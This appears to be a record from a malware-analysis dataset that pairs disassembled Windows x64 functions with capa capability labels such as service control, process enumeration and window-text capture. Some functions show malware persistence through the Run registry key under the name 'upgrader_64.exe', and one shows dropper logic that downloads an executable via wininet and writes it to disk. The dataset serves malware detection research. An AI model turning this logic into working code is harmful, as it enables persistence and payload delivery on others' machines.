joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180022370
Capabilities:
Enumerate services
Start service

Disassembly:
mov rax, rsp
sub rsp, 0xa8
movsd xmm0, qword [0x1800b3910]
ucomisd xmm0, qword [0x18009a300]
jp 0x18002256e
jne 0x18002256e
mov qword [rax - 8], rbx
lea rdx, str.wyowaereno
movaps xmmword [rax - 0x18], xmm6
lea rcx, [rax - 0x78]
movaps xmmword [rax - 0x28], xmm9
movaps xmmword [rax - 0x38], xmm11
call fcn.18000a440
cvttsd2si ecx, qword [0x1800b3878]
mov r9, rax
mov edx, 0x2a779f54
mov r8d, 0x1c8a8dbb
call qword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
cvttsd2si rdx, qword [0x1800b3848]
lea rcx, [rsp + 0x50]
cvttsd2si ebx, qword [0x1800b3910]
movaps xmm6, xmm0
mulsd xmm6, qword [0x18009a0c8]
call fcn.18002f2f0
mov rcx, rax
mov r8d, ebx
mov edx, 0x332884d
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
divsd xmm6, xmm1
call qword [sym.imp.ADVAPI32.dll_IsTextUnicode]
movsd xmm9, qword [0x1800990f8]
movsd xmm3, qword [0x1800b3878]
movsd xmm2, qword [0x1800990c8]
movsd xmm1, qword [0x180098da8]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + 0x20], xmm9
divsd xmm6, xmm0
movsd xmm0, qword [0x1800b3870]
call qword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
movsd xmm11, qword [0x180098a88]
lea rdx, str.wyowaereno
movaps xmm1, xmm11
lea rcx, [rsp + 0x50]
divsd xmm1, xmm0
addsd xmm1, qword [0x180099928]
addsd xmm1, xmm6
movsd qword [0x1800b3870], xmm1
call fcn.18000a440
cvttsd2si ecx, qword [0x1800b3878]
mov r9, rax
mov edx, 0x2a779f54
mov r8d, 0x1c8a8dbb
call qword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
cvttsd2si rdx, qword [0x1800b3848]
lea rcx, [rsp + 0x30]
cvttsd2si ebx, qword [0x1800b3910]
movaps xmm6, xmm0
mulsd xmm6, qword [0x18009a0c8]
call fcn.18002f2f0
mov rcx, rax
mov r8d, ebx
mov edx, 0x332884d
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
xorps xmm3, xmm3
cvtsi2sd xmm3, rax
divsd xmm6, xmm3
call qword [sym.imp.ADVAPI32.dll_IsTextUnicode]
movsd xmm3, qword [0x1800b3878]
movsd xmm2, qword [0x1800990c8]
movsd xmm1, qword [0x180098da8]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + 0x20], xmm9
divsd xmm6, xmm0
movsd xmm0, qword [0x1800b3870]
call qword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
movaps xmm9, xmmword [rsp + 0x80]
mov rbx, qword [rsp + 0xa0]
divsd xmm11, xmm0
addsd xmm11, qword [0x180099ed8]
addsd xmm11, xmm6
movaps xmm6, xmmword [rsp + 0x90]
movsd qword [0x1800b3848], xmm11
movaps xmm11, xmmword [rsp + 0x70]
add rsp, 0xa8
ret
Function at 0x1800260a0
Capabilities:
Query service status
Start service

Disassembly:
sub rsp, 0x88
movsd xmm0, qword [0x1800b3870]
ucomisd xmm0, qword [0x18009a510]
jp 0x18002619a
jne 0x18002619a
cvttsd2si edx, qword [0x1800b3878]
mov r8d, 0x782f5b5
cvttsd2si ecx, xmm0
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
movsd xmm6, qword [0x18009a0b8]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
divsd xmm6, xmm0
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xorps xmm7, xmm7
lea rdx, str.Asija
lea rcx, [rsp + 0x20]
cvtsi2sd xmm7, rax
mulsd xmm7, qword [0x180099480]
addsd xmm7, qword [0x180098cc0]
addsd xmm7, xmm6
call fcn.1800090b0
movsd xmm3, qword [0x1800b3878]
mov r8, rax
movsd xmm0, qword [0x180098848]
mov edx, 0x2ab0d48c
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
movaps xmm6, xmm0
lea rdx, str.ohyya
mulsd xmm6, qword [0x180099ef8]
lea rcx, [rsp + 0x40]
call fcn.18000a440
mov rdx, rax
mov ecx, 0x345779cb
mov r9d, 0x9884151
mov r8d, 0xf2672fd
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mulsd xmm0, xmm6
movaps xmm6, xmmword [rsp + 0x70]
subsd xmm7, xmm0
movsd qword [0x1800b3848], xmm7
movaps xmm7, xmmword [rsp + 0x60]
add rsp, 0x88
ret
Function at 0x18007c22c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18007c25c
xor eax, eax
jmp 0x18007c31f
mov rbp, rbx
cmp word [rax], si
je 0x18007c281
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18007c268
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18007c264
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18007c0dc
movsxd r14, eax
test eax, eax
jne 0x18007c2bf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18007c255
mov rcx, r14
call fcn.1800789d0
mov rdi, rax
test rax, rax
jne 0x18007c2d8
xor ecx, ecx
call fcn.180078da8
jmp 0x18007c2b4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18007c0dc
test eax, eax
jne 0x18007c309
mov rcx, rdi
call fcn.180078da8
jmp 0x18007c313
xor ecx, ecx
call fcn.180078da8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14154a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14154a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14154a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14154a06f
add dl, dl
jne 0x14154a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14154a0f6
xor eax, eax
add dl, dl
jne 0x14154a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14154a1ad
add dl, dl
jne 0x14154a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14154a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14154a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14154a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14154a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14154a07e
mov eax, 1
add dl, dl
jne 0x14154a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14154a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14154a0fb
sub eax, ebx
mov ebx, 1
jne 0x14154a14c
mov ecx, 1
add dl, dl
jne 0x14154a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14154a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14154a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14154a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14154a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14154a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14154a15d
cmp eax, 0x7d00
jae 0x14154a19b
cmp eax, 0x500
jb 0x14154a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14154a07e
cmp eax, 0x7f
ja 0x14154a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14154a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14154a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14154a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000141c
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140001442
mov r8d, 0x104
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
add rsp, 0x20
pop rbx
ret

Function at 0x1400014a8
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
and dword [rsp + 0x20], 0
mov rdi, rcx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
call fcn.140021110
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001538
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call sub.KERNEL32.dll_Process32FirstW
jmp 0x14000152b
lea rax, [rsp + 0x4c]
mov rdx, rdi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x14000151a
add rax, 2
test r8d, r8d
jne 0x140001504
test ecx, ecx
mov rcx, rbx
je 0x14000154b
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400014f9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x14000153a
Function at 0x14000178c
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 0x20], r9d
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
sub rsp, 0x280
mov rsi, r8
mov rdi, rdx
mov r12, rcx
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x70]
call fcn.140021110
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400017ef
or ebx, 0xffffffff
jmp 0x140001998
mov ecx, dword [rsp + 0x2d8]
test ecx, ecx
je 0x1400018ed
dec ecx
je 0x140001881
dec ecx
jne 0x140001998
cmp dword [rsp + 0x2b8], ebx
jbe 0x140001998
cmp dword [rsp + 0x2b8], 2
ja 0x140001998
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2b8]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001998
lea rdx, [0x14004099c]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140001968
jmp 0x1400017e7
cmp dword [rsp + 0x2b8], ebx
jbe 0x140001998
cmp dword [rsp + 0x2b8], 2
ja 0x140001998
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2b8]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x2c0]
test eax, eax
je 0x140001970
lea rdx, [0x140040c40]
jmp 0x140001991
cmp dword [rsp + 0x2b8], ebx
jbe 0x140001998
cmp dword [rsp + 0x2b8], 2
ja 0x140001998
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2b8]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001982
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, dword [rsp + 0x60]
lea r8, [rsp + 0x70]
lea rdx, str._s__d
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x2c0]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140001998
lea rdx, [0x140040c30]
mov rcx, qword [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x280
pop r12
pop rdi
pop rsi
ret
Function at 0x140004268
Capabilities:
Hash data with md5

Disassembly:
push rbx
sub rsp, 0x20
xor eax, eax
mov rbx, rcx
mov dword [rcx], 0x67452301
mov dword [rcx + 4], 0xefcdab89
mov dword [rcx + 8], 0x98badcfe
mov dword [rcx + 0xc], 0x10325476
mov byte [rcx + 0x68], al
mov qword [rcx + 0x10], rax
call fcn.140003950
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14000439c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r13
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, rcx
cmp qword [rcx + 0x80], 0
je 0x14000452d
cmp byte [rcx + 0x89], 0
je 0x14000452d
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x1400043ed
xor al, al
jmp 0x14000452f
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea r13d, [rdx - 7]
cmp r13b, 0xfe
jbe 0x140004416
lea rcx, str.string_too_long
call fcn.14003a258
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], r13
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rbx + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x14000447b
dec eax
jne 0x1400044f2
jmp 0x140004482
mov byte [rbx + 0x89], 0
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov rdi, qword [rbp + 0x20]
sub rdi, rax
je 0x1400044cc
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rbx + 0x98]
mov r8, rdi
mov edx, 1
call fcn.140021f20
cmp rdi, rax
jne 0x140004506
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
cmp byte [rbx + 0x89], 0
je 0x14000451f
test rdi, rdi
jne 0x140004437
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp - 0x28]
call fcn.1400042a4
jmp 0x14000442f
sub eax, 2
je 0x1400044f9
jmp 0x140004506
cmp qword [rbp - 0x10], 0x10
jb 0x14000452d
mov rcx, qword [rbp - 0x28]
jmp 0x140004528
cmp qword [rbp - 0x10], 0x10
jb 0x1400043e6
mov rcx, qword [rbp - 0x28]
call fcn.140020df4
jmp 0x1400043e6
cmp r10, 0x10
jb 0x14000452d
mov rcx, r9
call fcn.140020df4
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop rdi
pop rbp
ret
Function at 0x140004adc
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rbx, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [r12 + 0x138]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rbx
mov edx, 0xff
call fcn.140021428
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.140020ac0
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
xor ebx, ebx
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
xor r9d, r9d
movzx r8d, si
mov rdx, rbp
mov word [rsp + 0x28], bx
mov qword [rsp + 0x20], rbx
call qword [rax]
test eax, eax
je 0x140004bf0
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [r12 + 0x140]
sub rax, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rax
divsd xmm0, qword [0x1400412f0]
mov al, 1
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
jmp 0x140004bf2
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rdi
ret

Function at 0x140005254
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r13, rcx
mov ecx, 0x7532
call fcn.140020e60
xor edx, edx
mov r8d, 0x7532
mov rcx, rax
mov rbp, rax
call fcn.140021110
xor edx, edx
mov byte [rbp], 2
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x1400052bd
lea rbx, [rbp + 2]
lea r8, [0x140041538]
mov edx, 0x36b0
mov rcx, rbx
call fcn.1400213fc
jmp 0x14000531e
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400052db
lea rdx, [rbp + 2]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rbx, [rbp + 2]
lea rdi, [0x1400414e4]
mov ecx, 1
mov rsi, rbx
repe cmpsw word [rsi], word [rdi]
jne 0x140005307
lea r8, [0x140041548]
mov edx, 0x3a98
mov rcx, rbx
call fcn.1400213fc
lea r8, [0x140041554]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.1400213fc
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [r13 + 8]
mov r8d, 0x7532
mov rax, qword [rcx]
mov rdx, rbp
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
jmp fcn.140020df4
Function at 0x140005364
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x560]
sub rsp, 0x660
xor ebx, ebx
mov rsi, rcx
test edx, edx
je 0x14000552f
dec edx
jne 0x14000558a
lea rcx, [0x140041648]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x140041668]
mov rcx, rax
mov qword [rsi + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x140041680]
mov qword [rsi + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x140041690]
mov qword [rsi + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x1400416a0]
mov qword [rsi + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x280], rax
cmp qword [rsi + 0x250], rbx
je 0x14000558a
mov r10, qword [rsi + 0x268]
test r10, r10
je 0x14000558a
cmp qword [rsi + 0x288], rbx
je 0x14000558a
test rax, rax
je 0x14000558a
lea rax, [rbp + 0x590]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call r10
test eax, eax
jne 0x14000558a
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x590]
lea edi, [rbx + 1]
lea eax, [rax + rax + 2]
lea rdx, str.upgrader_64.exe
mov r9d, edi
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [rsi + 0x288]
test eax, eax
jne 0x140005519
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.140021110
mov rcx, qword [rbp + 0x590]
lea rax, [rbp + 0x588]
lea rdx, str.upgrader_64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x140]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x588], 0x208
call qword [rsi + 0x250]
test eax, eax
je 0x14000551b
mov edi, ebx
mov rcx, qword [rbp + 0x590]
call qword [rsi + 0x280]
mov eax, edi
jmp 0x1400055f8
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.140021110
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], bx
call fcn.140021110
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x290], rax
test rax, rax
jne 0x14000558e
xor eax, eax
jmp 0x1400055f8
mov r9d, 1
lea rdx, [rbp + 0x140]
xor ecx, ecx
lea r8d, [r9 + 6]
call rax
test eax, eax
je 0x14000558a
lea rdx, [rbp + 0x350]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, str.upgrader_64.exe
lea r8, [rbp + 0x140]
lea rdx, str._s_s
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x350]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x680]
add rsp, 0x660
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000560c
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rsi, rdx
lea rax, [0x140041710]
mov rdi, r8
mov rbx, rcx
lea rdx, [0x140041720]
cmovne rdx, rax
lea rax, [r11 + 8]
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x18], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea rax, str.back
lea rdx, str.main
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
cmovne rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400056cf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x40]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400056ec
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x840
and dword [rax + 0x18], 0
and dword [rax + 0x20], 0
mov rbp, rcx
lea rcx, str.wininet.dll
mov r12d, 1
mov rbx, rdx
mov sil, r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r13, rax
test rax, rax
jne 0x14000576b
test rdi, rdi
je 0x140005764
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x140005895
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x140005756
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000585c
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.140021110
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x880]
lea rdx, [rsp + 0x40]
mov r8d, 0x800
mov rcx, rbp
call rax
test r12d, r12d
je 0x14000581e
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x140005850
mov r8d, dword [rsp + 0x880]
lea r9, [rsp + 0x888]
lea rdx, [rsp + 0x40]
xor r12d, r12d
mov rcx, rbx
and qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x880], r12d
jbe 0x140005853
jmp 0x1400057d3
xor sil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
